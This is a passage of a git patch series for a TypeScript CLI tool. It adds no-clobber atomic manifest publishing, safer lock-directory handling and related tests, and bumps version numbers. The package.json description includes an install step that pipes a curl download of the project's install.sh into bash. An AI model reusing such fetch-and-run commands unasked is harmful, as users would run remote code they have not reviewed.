= probeLinuxRenameat2(deps); + if (rn !== null) { + if (rn(stagedPath, targetPath) !== 0) { + const detail = lstatSafe(targetFile) === null ? 'rename failed' : 'target exists'; + throw new NoClobberPublishError( + `atomic regular-file no-clobber publish failed (${detail}); target preserved: ${targetFile}`, + ); + } + return 'renamed'; + } + } else if (!forcePortable && process.platform === 'darwin') { + const libc = dlopen('/usr/lib/libSystem.B.dylib', { + renamex_np: { args: ['cstring', 'cstring', 'u32'], returns: 'i32' }, + } as const); + let result: number; + try { + result = libc.symbols.renamex_np(stagedPath, targetPath, DARWIN_RENAME_EXCL); + } finally { + libc.close(); + } + if (result !== 0) { + const detail = lstatSafe(targetFile) === null ? 'rename failed' : 'target exists'; + throw new NoClobberPublishError( + `atomic regular-file no-clobber publish failed (${detail}); target preserved: ${targetFile}`, + ); + } + return 'renamed'; + } + try { + linkSync(stagedFile, targetFile); + return 'linked'; + } catch (error) { + const code = (error as NodeJS.ErrnoException).code ?? 'UNKNOWN'; + throw new NoClobberPublishError( + `portable regular-file no-clobber publish failed (${code}); target preserved: ${targetFile}`, + ); + } +} + function writeRestoreConflict( transactionDir: string, journal: CodexFallbackRetirementJournal, @@ -3353,9 +3463,9 @@ export function enumerateSourceAgentFiles(pluginRoot: string): SourceAgentFile[] // - every irreversible unlink re-verifies the exact captured identity first; // - ownership moves in ONE manifest commit whose claim set is re-verified // against the live objects after the commit barrier; -// - the manifest publishes by rename of an exclusively staged payload, so a -// second hardlink to the manifest can never exist and post-publish cleanup -// is rmdir-only — advisory, never a rollback trigger; +// - the manifest publishes NOREPLACE from an exclusively staged payload; +// native rename consumes it, while the portable hard-link path commits only +// after identity-checked cleanup proves the live manifest has nlink=1; // - final-entry relinquish verifies post-state before reporting success. // ============================================================================ @@ -3415,6 +3525,8 @@ export interface FlatAgentTransactionSeams { now: () => Date; beforeFileMutation?: (event: AgentFileMutationEvent) => void; beforeManifestCommit?: (event: AgentManifestCommitEvent) => void; + beforeManifestPublish?: (event: AgentManifestCommitEvent) => void; + manifestPublishOptions?: AgentManifestPublishOptions; } interface FlatAgentTxnCtx { @@ -3709,6 +3821,175 @@ interface ManifestCommitResult { reason?: string; } +function preserveCapturedManifestObject( + ctx: FlatAgentTxnCtx, + captured: CapturedPath, + livePath: string, + label: string, +): void { + try { + const preserved = restoreOrPreserveCaptured(captured, livePath); + if (preserved !== livePath) ctx.advisories.push(`preserved ${label} at ${preserved ?? captured.path}`); + } catch (error) { + ctx.advisories.push(`${label} left quarantined at ${captured.path}: ${errMsg(error)}`); + } +} + +/** Unlink only a captured private name that still denotes this exact staged payload. */ +function discardCapturedStagePayload( + ctx: FlatAgentTxnCtx, + stage: FileStage, + captured: CapturedPath, + restorePath: string, + label: string, +): void { + if (!fileStagePayloadMatches(stage, captured.path)) { + preserveCapturedManifestObject(ctx, captured, restorePath, `replaced ${label}`); + return; + } + try { + unlinkSync(captured.path); + removeEmptyDirSafe(captured.dir); + } catch (error) { + ctx.advisories.push(`${label} left quarantined at ${captured.path}: ${errMsg(error)}`); + } +} + +/** Remove the live target only after capturing and proving it is the exact linked staged inode. */ +function unpublishPortableManifestTarget(ctx: FlatAgentTxnCtx, stage: FileStage, manifestPath: string): void { + let captured: CapturedPath | null; + try { + captured = capturePath(manifestPath, 'manifest-portable-rollback'); + } catch (error) { + ctx.advisories.push(`portable manifest target could not be captured safely: ${errMsg(error)}`); + return; + } + if (captured === null) return; + if (!fileStagePayloadMatches(stage, captured.path)) { + preserveCapturedManifestObject(ctx, captured, manifestPath, 'foreign manifest replacement'); + return; + } + try { + unlinkSync(captured.path); + removeEmptyDirSafe(captured.dir); + } catch (error) { + ctx.advisories.push(`linked manifest payload left quarantined at ${captured.path}: ${errMsg(error)}`); + } +} + +function capturePortableStageName(stage: FileStage): CapturedPath | null { + try { + return capturePath(stage.path, 'manifest-stage-name'); + } catch { + return null; + } +} + +function portableLinkPairIsExact(stage: FileStage, capturedStagePath: string, manifestPath: string): boolean { + try { + const capturedStat = lstatSync(capturedStagePath); + const targetStat = lstatSync(manifestPath); + return ( + capturedStat.nlink === 2 && + targetStat.nlink === 2 && + sameObjectIdentity(capturedStat, targetStat) && + fileStagePayloadMatches(stage, capturedStagePath) && + fileStagePayloadMatches(stage, manifestPath) + ); + } catch { + return false; + } +} + +function cleanupPortableStageContainers(ctx: FlatAgentTxnCtx, stage: FileStage, capturedStage: CapturedPath): void { + try { + removeEmptyDirSafe(capturedStage.dir); + removeEmptyDirSafe(stage.dir); + } catch (error) { + ctx.advisories.push(`portable manifest stage directory cleanup deferred: ${errMsg(error)}`); + } +} + +function retirePortableManifestStageName( + ctx: FlatAgentTxnCtx, + stage: FileStage, + capturedStage: CapturedPath, + manifestPath: string, +): string | null { + try { + ctx.seams.manifestPublishOptions?.beforePortableStageNameCleanup?.({ + path: manifestPath, + stagePath: stage.path, + capturedStagePath: capturedStage.path, + }); + } catch (error) { + return errMsg(error); + } + if (!portableLinkPairIsExact(stage, capturedStage.path, manifestPath)) { + return 'portable manifest link pair changed before stage-name cleanup'; + } + try { + unlinkSync(capturedStage.path); + } catch (error) { + return `portable manifest stage-name cleanup failed: ${errMsg(error)}`; + } + try { + const targetStat = lstatSync(manifestPath); + return targetStat.nlink === 1 && fileStagePayloadMatches(stage, manifestPath) + ? null + : 'portable manifest target was not a safe single-link file after cleanup'; + } catch (error) { + return `portable manifest target verification failed: ${errMsg(error)}`; + } +} + +function rollbackPortableManifestReservation( + ctx: FlatAgentTxnCtx, + stage: FileStage, + manifestPath: string, + capturedStage: CapturedPath | null, +): void { + unpublishPortableManifestTarget(ctx, stage, manifestPath); + if (capturedStage === null) { + try { + pushAdvisory(ctx, cleanupFileStage(stage)); + } catch (error) { + ctx.advisories.push(`portable manifest stage cleanup deferred: ${errMsg(error)}`); + } + return; + } + discardCapturedStagePayload(ctx, stage, capturedStage, stage.path, 'portable manifest stage payload'); + try { + removeEmptyDirSafe(stage.dir); + } catch (error) { + ctx.advisories.push(`portable manifest stage directory cleanup deferred: ${errMsg(error)}`); + } +} + +/** + * Complete the hard-link fallback. The transaction is committed only after the + * extra staged name is identity-checked, removed, and the live manifest is + * verified as the same regular inode with nlink=1. + */ +function completePortableManifestPublish( + ctx: FlatAgentTxnCtx, + stage: FileStage, + manifestPath: string, +): ManifestCommitResult { + const capturedStage = capturePortableStageName(stage); + const reason = + capturedStage === null + ? 'could not capture portable manifest stage name' + : retirePortableManifestStageName(ctx, stage, capturedStage, manifestPath); + if (reason === null && capturedStage !== null) { + // Safe nlink=1 is the commit point. Directory cleanup below is advisory-only. + cleanupPortableStageContainers(ctx, stage, capturedStage); + return { committed: true }; + } + rollbackPortableManifestReservation(ctx, stage, manifestPath, capturedStage); + return { committed: false, reason: reason ?? 'portable manifest stage-name cleanup failed' }; +} + /** The single ownership commit; false means every ownership delta must roll back. */ function commitFlatAgentManifest(ctx: FlatAgentTxnCtx, base: AgentManifestState, states: FlatAgentOpState[]): boolean { if (!states.some((state) => state.delta !== null)) return true; @@ -3723,11 +4004,93 @@ function commitFlatAgentManifest(ctx: FlatAgentTxnCtx, base: AgentManifestState, return result.committed; } +function invokeManifestBarrier( + barrier: ((event: AgentManifestCommitEvent) => void) | undefined, + event: AgentManifestCommitEvent, +): string | null { + try { + barrier?.(event); + return null; + } catch (error) { + return errMsg(error); + } +} + +function failStagedManifestPublish(ctx: FlatAgentTxnCtx, stage: FileStage, reason: string): ManifestCommitResult { + try { + pushAdvisory(ctx, cleanupFileStage(stage)); + } catch (error) { + ctx.advisories.push(`manifest stage cleanup deferred: ${errMsg(error)}`); + } + return { committed: false, reason }; +} + +interface ManifestBaseCaptureResult { + captured: CapturedPath | null; + reason: string | null; +} + +function captureBaseManifestForWrite( + ctx: FlatAgentTxnCtx, + base: AgentManifestState, + manifestPath: string, +): ManifestBaseCaptureResult { + if (base.kind === 'absent') return { captured: null, reason: null }; + let captured: CapturedPath | null; + try { + captured = capturePath(manifestPath, 'manifest-old'); + } catch (error) { + return { captured: null, reason: errMsg(error) }; + } + if (captured !== null && manifestStillBase(captured.path, base)) return { captured, reason: null }; + if (captured !== null) restorePreviousManifest(ctx, captured, manifestPath); + return { captured: null, reason: 'manifest ownership changed before commit' }; +} + +function publishFlatAgentManifestStage( + ctx: FlatAgentTxnCtx, + stage: FileStage, + manifestPath: string, +): ManifestCommitResult { + const barrierFailure = invokeManifestBarrier(ctx.seams.beforeManifestPublish, { + path: manifestPath, + stagePath: stage.path, + }); + if (barrierFailure !== null) return failStagedManifestPublish(ctx, stage, barrierFailure); + if (!fileStageOwned(stage)) { + return failStagedManifestPublish(ctx, stage, 'staged manifest payload changed before publish'); + } + let publish: RegularFileNoClobberPublish; + try { + publish = atomicRenameRegularFileNoClobber( + stage.path, + manifestPath, + {}, + ctx.seams.manifestPublishOptions?.forcePortable, + ); + } catch (error) { + return failStagedManifestPublish(ctx, stage, errMsg(error)); + } + if (publish === 'linked') return completePortableManifestPublish(ctx, stage, manifestPath); + // Native NOREPLACE rename is the commit point; directory cleanup cannot roll it back. + pushAdvisory(ctx, finishNativeCommittedFileStage(stage)); + return { committed: true }; +} + +function disposePreviousManifestAfterCommit(ctx: FlatAgentTxnCtx, captured: CapturedPath | null): void { + if (captured === null) return; + try { + removeCapturedPath(captured); + } catch (error) { + ctx.advisories.push(`previous manifest left quarantined at ${captured.path}: ${errMsg(error)}`); + } +} + /** * Write path: stage exclusively → barrier → re-verify live objects → CAS the - * base manifest out of the way → RENAME the payload in. The rename both decides - * the outcome and consumes the staged payload, so no second hardlink to the - * manifest can ever exist; everything after it is advisory-only. + * base manifest out of the way → publish the payload NOREPLACE. Native rename + * consumes the staged name; the portable hard-link fallback does not commit + * until its extra name is retired and the live target verifies at nlink=1. */ function commitFlatAgentManifestWrite( ctx: FlatAgentTxnCtx, @@ -3737,15 +4100,13 @@ function commitFlatAgentManifestWrite( ): ManifestCommitResult { const manifestPath = join(ctx.dir, MANIFEST_NAME); let stage = createFileStage(manifestPath, manifestPayload(provisional)); - try { - ctx.seams.beforeManifestCommit?.({ path: manifestPath, stagePath: stage.path }); - } catch (error) { - pushAdvisory(ctx, cleanupFileStage(stage)); - return { committed: false, reason: errMsg(error) }; - } + const barrierFailure = invokeManifestBarrier(ctx.seams.beforeManifestCommit, { + path: manifestPath, + stagePath: stage.path, + }); + if (barrierFailure !== null) return failStagedManifestPublish(ctx, stage, barrierFailure); if (!fileStageOwned(stage)) { - pushAdvisory(ctx, cleanupFileStage(stage)); - return { committed: false, reason: 'staged manifest payload changed before commit' }; + return failStagedManifestPublish(ctx, stage, 'staged manifest payload changed before commit'); } reverifyFlatAgentOps(ctx, states); const claim = buildFlatAgentClaim(ctx, states); @@ -3760,36 +4121,16 @@ function commitFlatAgentManifestWrite( pushAdvisory(ctx, cleanupFileStage(stage)); stage = createFileStage(manifestPath, payload); } - let captured: CapturedPath | null = null; - if (base.kind !== 'absent') { - captured = capturePath(manifestPath, 'manifest-old'); - if (captured === null || !manifestStillBase(captured.path, base)) { - if (captured !== null) restorePreviousManifest(ctx, captured, manifestPath); - pushAdvisory(ctx, cleanupFileStage(stage)); - return { committed: false, reason: 'manifest ownership changed before commit' }; - } - } - try { - renameSync(stage.path, manifestPath); - } catch (error) { - if (captured !== null) restorePreviousManifest(ctx, captured, manifestPath); - pushAdvisory(ctx, cleanupFileStage(stage)); - return { committed: false, reason: errMsg(error) }; - } - // Outcome decided at the rename. Nothing below may throw or roll back. - if (captured !== null) { - try { - removeCapturedPath(captured); - } catch (error) { - ctx.advisories.push(`previous manifest left quarantined at ${captured.path}: ${errMsg(error)}`); - } + const baseCapture = captureBaseManifestForWrite(ctx, base, manifestPath); + if (baseCapture.reason !== null) return failStagedManifestPublish(ctx, stage, baseCapture.reason); + const publication = publishFlatAgentManifestStage(ctx, stage, manifestPath); + if (!publication.committed) { + if (baseCapture.captured !== null) restorePreviousManifest(ctx, baseCapture.captured, manifestPath); + return publication; } - try { - removeEmptyDirSafe(stage.dir); - } catch { - // empty-stage-dir debris is inert; the payload itself was consumed by the rename - } - return { committed: true }; + // Native rename or verified portable nlink=1 decided the outcome. Nothing below may roll back. + disposePreviousManifestAfterCommit(ctx, baseCapture.captured); + return publication; } /** Removal path: the transaction ends with zero owned names — the manifest itself goes. */ @@ -3985,6 +4326,8 @@ function syncClaudeAgentFiles(ctx: RunContext, claudeDir: string, report: AgentR now: ctx.now, beforeFileMutation: ctx.beforeAgentFileMutation, beforeManifestCommit: ctx.beforeAgentManifestCommit, + beforeManifestPublish: ctx.beforeAgentManifestPublish, + manifestPublishOptions: ctx.agentManifestPublishOptions, }); report.advisories.push(...result.advisories); if (!result.committed) { @@ -5757,12 +6100,215 @@ function inspectOwnedLockFile(ownerPath: string): { stat: Stats; token: string } } } +interface AgentSyncHomeState { + path: string; + created: boolean; + stat: Stats; +} + +/** Inspect the final GENIE_HOME component without following it. */ +function inspectPhysicalAgentSyncHome(genieHome: string): AgentSyncHomeState | null { + try { + const stat = lstatSync(genieHome); + if (!stat.isDirectory() || stat.isSymbolicLink()) { + throw new AgentSyncLockError(`agent-sync lock home is not a physical directory: ${genieHome}`); + } + return { path: genieHome, created: false, stat }; + } catch (error) { + if (error instanceof AgentSyncLockError) throw error; + if (isNodeErrorCode(error, 'ENOENT')) return null; + throw new AgentSyncLockError( + `agent-sync lock home inspection failed closed for ${genieHome}: ${errMsg(error)}`, + error, + ); + } +} + +function removeExactEmptyStagedHome(stagePath: string, expected: Stats): void { + try { + const current = lstatSync(stagePath); + if ( + current.isDirectory() && + !current.isSymbolicLink() && + samePathIdentity(expected, current) && + readdirSync(stagePath).length === 0 + ) { + rmdirSync(stagePath); + } + } catch { + // Replaced, non-empty, or unreadable staging is preserved for inspection. + } +} + +/** Native NOREPLACE is safe to move the pre-statted generation; every other path uses mkdir as the commit. */ +function hasNativeAgentSyncHomePublish(options: AgentSyncLockOptions): boolean { + if (options.forcePortableHomePublish === true) return false; + if (process.platform === 'darwin') return true; + return process.platform === 'linux' && probeLinuxRenameat2({}) !== null; +} + +/** + * Portably claim a missing GENIE_HOME without ever renaming over its pathname. + * The mkdir itself is the atomic commit. Even when the live directory still + * has our identity after inspection, it is conservatively returned as + * existing state so release never removes a later replacement by pathname. + */ +function publishPortableEmptyAgentSyncHome( + genieHome: string, + stagePath: string, + stagedStat: Stats, + options: AgentSyncLockOptions, +): AgentSyncHomeState { + try { + mkdirSync(genieHome, { mode: 0o700 }); + } catch (error) { + removeExactEmptyStagedHome(stagePath, stagedStat); + if (isNodeErrorCode(error, 'EEXIST')) { + const winner = inspectPhysicalAgentSyncHome(genieHome); + if (winner !== null) return winner; + } + throw new AgentSyncLockError( + `portable agent-sync lock home claim failed closed for ${genieHome}: ${errMsg(error)}`, + error, + ); + } + try { + options.afterPortableHomeClaim?.({ path: genieHome, stagePath }); + } catch (error) { + removeExactEmptyStagedHome(stagePath, stagedStat); + throw new AgentSyncLockError( + `portable agent-sync lock home claim barrier failed for ${genieHome}: ${errMsg(error)}`, + error, + ); + } + removeExactEmptyStagedHome(stagePath, stagedStat); + const live = inspectPhysicalAgentSyncHome(genieHome); + if (live !== null) return live; + throw new AgentSyncLockError(`portable agent-sync lock home disappeared after claim: ${genieHome}`); +} + +/** + * Ensure the final GENIE_HOME component is one physical directory. A missing + * home is prepared as a pre-statted sibling generation and published + * NOREPLACE; a concurrent directory winner is existing state, never ours. + */ +function ensurePhysicalAgentSyncHome(genieHome: string, options: AgentSyncLockOptions): AgentSyncHomeState { + const existing = inspectPhysicalAgentSyncHome(genieHome); + if (existing !== null) return existing; + let stagePath: string; + try { + stagePath = mkdtempSync(join(dirname(genieHome), `.${basename(genieHome)}.agent-sync-home-stage-`)); + } catch (error) { + throw new AgentSyncLockError(`could not stage agent-sync lock home ${genieHome}: ${errMsg(error)}`, error); + } + const stagedStat = lstatSync(stagePath); + try { + options.beforeHomePublish?.({ path: genieHome, stagePath }); + } catch (error) { + removeExactEmptyStagedHome(stagePath, stagedStat); + throw new AgentSyncLockError( + `agent-sync lock home publish barrier failed for ${genieHome}: ${errMsg(error)}`, + error, + ); + } + if (!hasNativeAgentSyncHomePublish(options)) { + return publishPortableEmptyAgentSyncHome(genieHome, stagePath, stagedStat, options); + } + try { + atomicRenameDirectoryNoClobber(stagePath, genieHome); + } catch (error) { + removeExactEmptyStagedHome(stagePath, stagedStat); + const winner = inspectPhysicalAgentSyncHome(genieHome); + if (winner !== null) return winner; + throw new AgentSyncLockError( + `agent-sync lock home publish failed closed for ${genieHome}: ${errMsg(error)}`, + error, + ); + } + try { + const published = lstatSync(genieHome); + if (!published.isDirectory() || published.isSymbolicLink() || !samePathIdentity(stagedStat, published)) { + throw new AgentSyncLockError(`created agent-sync lock home ownership could not be verified for ${genieHome}`); + } + return { path: genieHome, created: true, stat: stagedStat }; + } catch (error) { + if (error instanceof AgentSyncLockError) throw error; + throw new AgentSyncLockError( + `created agent-sync lock home could not be verified for ${genieHome}: ${errMsg(error)}`, + error, + ); + } +} + +/** Remove only the same empty home this acquisition created solely to host its lock. */ +function removeCreatedAgentSyncHome(state: AgentSyncHomeState): void { + if (!state.created) return; + try { + const current = lstatSync(state.path); + if (!current.isDirectory() || current.isSymbolicLink() || !samePathIdentity(state.stat, current)) return; + if (readdirSync(state.path).length !== 0) return; + } catch { + return; + } + let captured: CapturedPath | null; + try { + captured = capturePath(state.path, 'lock-home-release'); + } catch { + return; + } + if (captured === null) return; + try { + const current = lstatSync(captured.path); + if ( + current.isDirectory() && + !current.isSymbolicLink() && + samePathIdentity(state.stat, current) && + readdirSync(captured.path).length === 0 + ) { + rmdirSync(captured.path); + removeEmptyDirSafe(captured.dir); + return; + } + } catch { + // Restore below; an unreadable or changed home is never discarded. + } + try { + atomicRenameDirectoryNoClobber(captured.path, state.path); + removeEmptyDirSafe(captured.dir); + } catch { + // A replacement won the live pathname; preserve the captured home in place. + } +} + /** Acquire the same per-GENIE_HOME mutation lock used by sync and uninstall. */ export function acquireAgentSyncLock( genieHome: string, options: AgentSyncLockOptions = {}, ): { release: () => void } | null { - return acquireAgentMutationLock(join(genieHome, AGENT_SYNC_LOCK_NAME), options); + const home = ensurePhysicalAgentSyncHome(genieHome, options); + let lock: { release: () => void } | null; + try { + lock = acquireAgentMutationLock(join(genieHome, AGENT_SYNC_LOCK_NAME), options); + } catch (error) { + removeCreatedAgentSyncHome(home); + throw error; + } + if (lock === null) { + removeCreatedAgentSyncHome(home); + return null; + } + let released = false; + return { + release: () => { + if (released) return; + released = true; + try { + lock.release(); + } finally { + removeCreatedAgentSyncHome(home); + } + }, + }; } /** @@ -6026,6 +6572,8 @@ function createRunContext( beforeManagedDirRemoval: opts.beforeManagedDirRemoval, beforeAgentFileMutation: opts.beforeAgentFileMutation, beforeAgentManifestCommit: opts.beforeAgentManifestCommit, + beforeAgentManifestPublish: opts.beforeAgentManifestPublish, + agentManifestPublishOptions: opts.agentManifestPublishOptions, }; } From d7eeb51ca6877247eafecd33daeaecb3135c9f55 Mon Sep 17 00:00:00 2001 From: Felipe Date: Tue, 14 Jul 2026 14:28:20 -0300 Subject: [PATCH 11/20] fix(agent-sync): quarantine owner capture beside the lock dir, not inside it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit unlinkExactOwnedLockFile created its owner-capture quarantine as a child of the lock directory (mkdtempSync(join(lockPath, '.owner-quarantine-'))). Under simultaneous stale-lock steals, a losing stealer's transient quarantine subdir made the winner's removeEmptyLockGeneration(lockPath) rmdir fail ENOTEMPTY, so stealStaleAgentLock returned 'contended', acquireAgentMutationLock returned null, and the rightful winner skipped — leaving an orphaned lock directory and sometimes zero winners (regression introduced by 2315671a). The same child placement was a latent liveness edge: a crash between the rename and cleanup left a .owner-quarantine-* child that made inspectLockObject classify the lock 'foreign' (readdirSync length check), a permanent un-stealable skip. Relocate the quarantine to a sibling of the lock dir (${lockPath}.owner- quarantine-), mirroring the existing `.stage-` sibling. Concurrent stealers can never make the lock dir non-empty, so rmdir(lockPath) and inspectLockObject are unaffected. Cleanup is unchanged: removeEmptyDirSafe(quarantineDir) already runs on every exit path (success, mismatch, rename-ENOENT/throw) independent of lockPath removal, so the sibling is swept the same way. ENOENT handling for the owner-already-gone case is preserved. Gate: 20/20 consecutive isolated "simultaneous stale-lock steals" runs, full agent-sync.test.ts (216), full src/lib (756), typecheck, and biome all pass. Co-Authored-By: Claude Fable 5 --- src/lib/agent-sync.ts | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/src/lib/agent-sync.ts b/src/lib/agent-sync.ts index 98908420f..3af326865 100644 --- a/src/lib/agent-sync.ts +++ b/src/lib/agent-sync.ts @@ -5878,7 +5878,11 @@ function unlinkExactOwnedLockFile( const lockPath = dirname(ownerPath); let quarantineDir: string; try { - quarantineDir = mkdtempSync(join(lockPath, '.owner-quarantine-')); + // Sibling, never child: a child quarantine dir makes lockPath non-empty, so a + // concurrent stealer's transient quarantine fails the winner's rmdir(lockPath) + // with ENOTEMPTY (steal skipped, lock orphaned) and misclassifies the lock as + // 'foreign' in inspectLockObject. Mirrors the `.stage-` sibling pattern. + quarantineDir = mkdtempSync(`${lockPath}.owner-quarantine-`); } catch (error) { if (isNodeErrorCode(error, 'ENOENT') || isNodeErrorCode(error, 'ENOTDIR')) return false; throw error; From e594af9a399d37d3e53b699e6e00c413befaaea8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 Jul 2026 17:42:04 +0000 Subject: [PATCH 12/20] chore(version): bump to 5.260714.6 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index d50a88aaa..4ae12e77e 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260714.5", + "version": "5.260714.6", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 858e9107f..60e1bf98a 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@automagik/genie", - "version": "5.260714.5", + "version": "5.260714.6", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", "type": "module", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 7619c5db6..5a8394856 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.5", + "version": "5.260714.6", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 295d3033c..420ed208e 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.5", + "version": "5.260714.6", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index b022760e2..d4de1d1cc 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260714.5", + "version": "5.260714.6", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index a15073a40..509bb2698 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260714.5 +version: 5.260714.6 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. From 0ef3727a409c231ef681195adf52d9a7f6145d6b Mon Sep 17 00:00:00 2001 From: namastex888 Date: Tue, 14 Jul 2026 19:29:02 -0300 Subject: [PATCH 13/20] fix(agent-sync): reconcile native publish outcomes --- src/genie-commands/uninstall.test.ts | 27 ++++ src/genie-commands/uninstall.ts | 11 -- src/lib/agent-sync.test.ts | 224 +++++++++++++++++++++++++++ src/lib/agent-sync.ts | 218 ++++++++++++++++++++------ 4 files changed, 422 insertions(+), 58 deletions(-) diff --git a/src/genie-commands/uninstall.test.ts b/src/genie-commands/uninstall.test.ts index 69e40fcf6..6f24ec5db 100644 --- a/src/genie-commands/uninstall.test.ts +++ b/src/genie-commands/uninstall.test.ts @@ -1106,6 +1106,33 @@ describe('agent-sync managed-asset removal', () => { expect(readFileSync(own)).toEqual(ownBytes); }); + test('full uninstall preserves a foreign empty GENIE_HOME swapped in while its lock is held', () => { + const displacedHome = join(tmp, 'displaced-lock-home'); + const foreignIdentity = { dev: -1, ino: -1, mode: -1 }; + let runtimeRemovalCalls = 0; + rmSync(genieHome, { recursive: true, force: true }); + + performUninstall(false, [], genieHome, false, false, true, { + agentSyncTargets: { genieHome }, + removeRuntimeIntegrations: () => { + runtimeRemovalCalls += 1; + expect(existsSync(join(genieHome, '.agent-sync.lock'))).toBe(true); + renameSync(genieHome, displacedHome); + mkdirSync(genieHome); + const stat = lstatSync(genieHome); + foreignIdentity.dev = stat.dev; + foreignIdentity.ino = stat.ino; + foreignIdentity.mode = stat.mode; + }, + }); + + expect(runtimeRemovalCalls).toBe(1); + const after = lstatSync(genieHome); + expect({ dev: after.dev, ino: after.ino, mode: after.mode }).toEqual(foreignIdentity); + expect(readdirSync(genieHome)).toEqual([]); + expect(existsSync(join(displacedHome, '.agent-sync.lock'))).toBe(true); + }); + test('INV1: uninstall preserves captured bytes mutated after validation instead of discarding them', () => { const scout = managedAgent('scout.md', '# shipped scout\n'); const agentsDir = join(claudeDir, 'agents'); diff --git a/src/genie-commands/uninstall.ts b/src/genie-commands/uninstall.ts index e7b668d46..4d1d20c81 100644 --- a/src/genie-commands/uninstall.ts +++ b/src/genie-commands/uninstall.ts @@ -24,7 +24,6 @@ import { readlinkSync, renameSync, rmSync, - rmdirSync, unlinkSync, writeFileSync, } from 'node:fs'; @@ -2024,14 +2023,6 @@ function removeGenieDirPreservingStateBackups(genieDir: string): void { } } -function removeGenieDirIfEmpty(genieDir: string): void { - try { - rmdirSync(genieDir); - } catch { - // Durable backups, another safe retained object, or an already-absent root are all valid. - } -} - /** A durable-backups/active-lock-only root is recovery state, not an installed Genie tree. */ export function hasRemovableGenieInstallState(genieDir: string): boolean { try { @@ -2183,7 +2174,6 @@ export function performUninstall( if (plannedNames.length > 0) removeSymlinks(LOCAL_BIN, genieDir, plannedNames); } finally { lock.release(); - removeGenieDirIfEmpty(genieDir); } } @@ -2345,7 +2335,6 @@ function executeConfirmedUninstall(genieDir: string, removeMarketplace: boolean) executeFreshUninstall(genieDir, removeMarketplace); } finally { agentSyncLock.release(); - removeGenieDirIfEmpty(genieDir); } } diff --git a/src/lib/agent-sync.test.ts b/src/lib/agent-sync.test.ts index e683b29a3..d6555901e 100644 --- a/src/lib/agent-sync.test.ts +++ b/src/lib/agent-sync.test.ts @@ -686,6 +686,176 @@ describe('claude agent fan-out', () => { expect(lstatSync(manifestPath).nlink).toBe(1); }); + test('unavailable Darwin FFI setup falls back to the verified portable manifest commit', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + let setupAttempts = 0; + + const claude = agentReport( + run({ + agentManifestPublishOptions: { + noClobberDeps: { + darwinOpener: () => { + setupAttempts += 1; + throw new Error('injected Bun --no-ffi setup denial'); + }, + }, + }, + }), + 'claude', + ); + + expect(setupAttempts).toBe(1); + expect(claude.failures).toBeUndefined(); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeDefined(); + expect(lstatSync(manifestPath).nlink).toBe(1); + }); + + test('a completed Darwin native call returning failure stays NoClobber and never retries portably', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + let nativeCalls = 0; + + const claude = agentReport( + run({ + agentManifestPublishOptions: { + noClobberDeps: { + darwinOpener: () => () => { + nativeCalls += 1; + return -1; + }, + }, + }, + }), + 'claude', + ); + + expect(nativeCalls).toBe(1); + expect(existsSync(manifestPath)).toBe(false); + expect(existsSync(join(agentsDir, 'scout.md'))).toBe(false); + expect(claude.failures?.join('\n')).toContain('agent transaction did not commit'); + expect(claude.advisories.some((line) => line.includes('no-clobber publish failed'))).toBe(true); + }); + + test('a Darwin native invocation exception fails closed without a portable retry', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + let nativeCalls = 0; + + const claude = agentReport( + run({ + agentManifestPublishOptions: { + noClobberDeps: { + darwinOpener: () => () => { + nativeCalls += 1; + throw new Error('injected native invocation failure'); + }, + }, + 